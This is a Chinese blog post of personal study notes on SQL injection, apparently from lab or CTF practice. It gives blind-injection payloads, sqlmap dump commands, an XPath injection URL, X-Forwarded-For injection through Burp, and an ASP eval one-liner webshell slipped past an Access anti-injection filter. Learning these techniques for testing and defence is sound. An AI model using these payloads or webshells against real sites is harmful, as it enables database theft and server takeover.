sql注入


SQL基礎:

注入點的判斷

首先判斷該注入點是怎么閉合的,常用的是','),')),",再利用and 1=2,and 1=1判斷閉合是否正確

sql注入常用語句:

普通語句:schema_name——數據庫名;table_name——表名;column_name——字段名;

查詢數據庫:select schema_name from information_schema.schemata--+

查詢數據庫表:select table_name from information_schema.tables where table_schema='數據庫名'--+

查詢字段名:select column_name from infromation_columns where table_name='表名'--+

查詢字段內容:select * from 表名--+

盲注:

先介紹幾個常用的函數:

left(a,b)-----查詢a中數據,返回b個字符

substr(s,n,len)------從字符串s中返回一個長度同len字符相同的字符串,起始於位置n,另外要注意的是,該函數起始位置是1,不是0

CAST函數:語法規則是:Cast(字段名 as 轉換的類型 ),進行數據類型轉換

limit a,b--------a決定返回第幾行的數據,而b決定返回幾行數據

ORD() 函數:ORD() 函數返回字符串第一個字符的

MySQL IFNULL函數是MySQL控制流函數之一,它接受兩個參數,如果不是NULL,則返回第一個參數。 否則,IFNULL函數返回第二個參數。

ascii----返回asciii值

Regexp:是一個正則表達式

接下來就是盲注常用的語句了:

查看數據庫名字長度:id=1' and length(database())=8 %23

猜解數據庫名字:id=1' and left(database(),1)>'r' %23

不斷地將1增加,猜出其余的字符,這里的大於號可以換成等於號(假如你能猜到數據庫的名字大致是哪幾個,可以直接換成=)

猜解數據庫表:id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>80 %23     不斷地將1增加,猜出其余的字符

猜解列名:id=1' and 1=(select 1 from information_schema.columns where table_name='emails' and column_name regexp '^email_id' limit 0,1)--+  可將紅色部分替換[a-z],確定列名

猜解字段中的內容:id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 --+

sql注入工具——sqlmap

經常使用的語句:

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --current-db                                                                                      #獲取當前數據庫名稱

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --tables -D "db_name"                                                                     #列表名

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --columns -T "tablename" users-D "db_name" -v 0                        #列字段

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0    #獲取字段內容

sqlmap.py -u "http://127.0.0.1/upload.php?id=1" --dump -C "column_name" --dump -T "表名"                                 #獲取字段內容

下面是我做題的一些過程:

SQL注入實戰-MySQL

注入點用base64編碼的:用插件tamper 
獲取數據表:

獲取字段名:

 
        
獲取字段內容:

WordPress插件漏洞分析溯源

Wpscan:專門掃描wordpress一種掃描器,可以掃描插件漏洞,主題漏洞。
根據這些漏洞找到攻擊點:找到一個漏洞時,打開鏈接,根據鏈接的內容,對網站進行攻擊(主要是通過注入找到后台用戶名以及登錄密碼)

Access防注入系統:
在id=1后面添加sql語句,根據頁面返回的結果,進行注入。
id=1 and 1=<%eval request('aaa')%>
發現頁面只返回了and1=,將一句話進行編碼,然后提交,返回一句話,但是查看sqlin.asp頁面時發現被過濾了,被過濾了,網上找了幾個放過濾的一句話

經過嘗試第三個可以繞過過濾,再次查看sqlin.asp頁面,顯示成功插入。
接下來鏈接菜刀,拿到key

Xpath注入:

 
        
http://219.153.49.228:49950/demo.php?name=xml']|//*|//*[' --+

']  為閉合前面的節點
|        為分別執行,符號前后的路徑都要查詢
//*      為匹配所有節點
//*['    為匹配后面的內容
 

X-Forwarded-For注入漏洞實戰:

正常的注入無法注入

抓包【這里是將sqlmap和burpsuite結合起來注入,將包中的文件保存到本地,然后利用sqlmap:sqlmap.py -r file.txt --dbs進行注入】

手動加上X-Forwarded-For

將包中的數據復制粘貼保存到本地,將sqlmap和burpsuite結合起來使用

 
        
利用sqlmap進行注入:
 

 

 
        
 
 
 
 
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM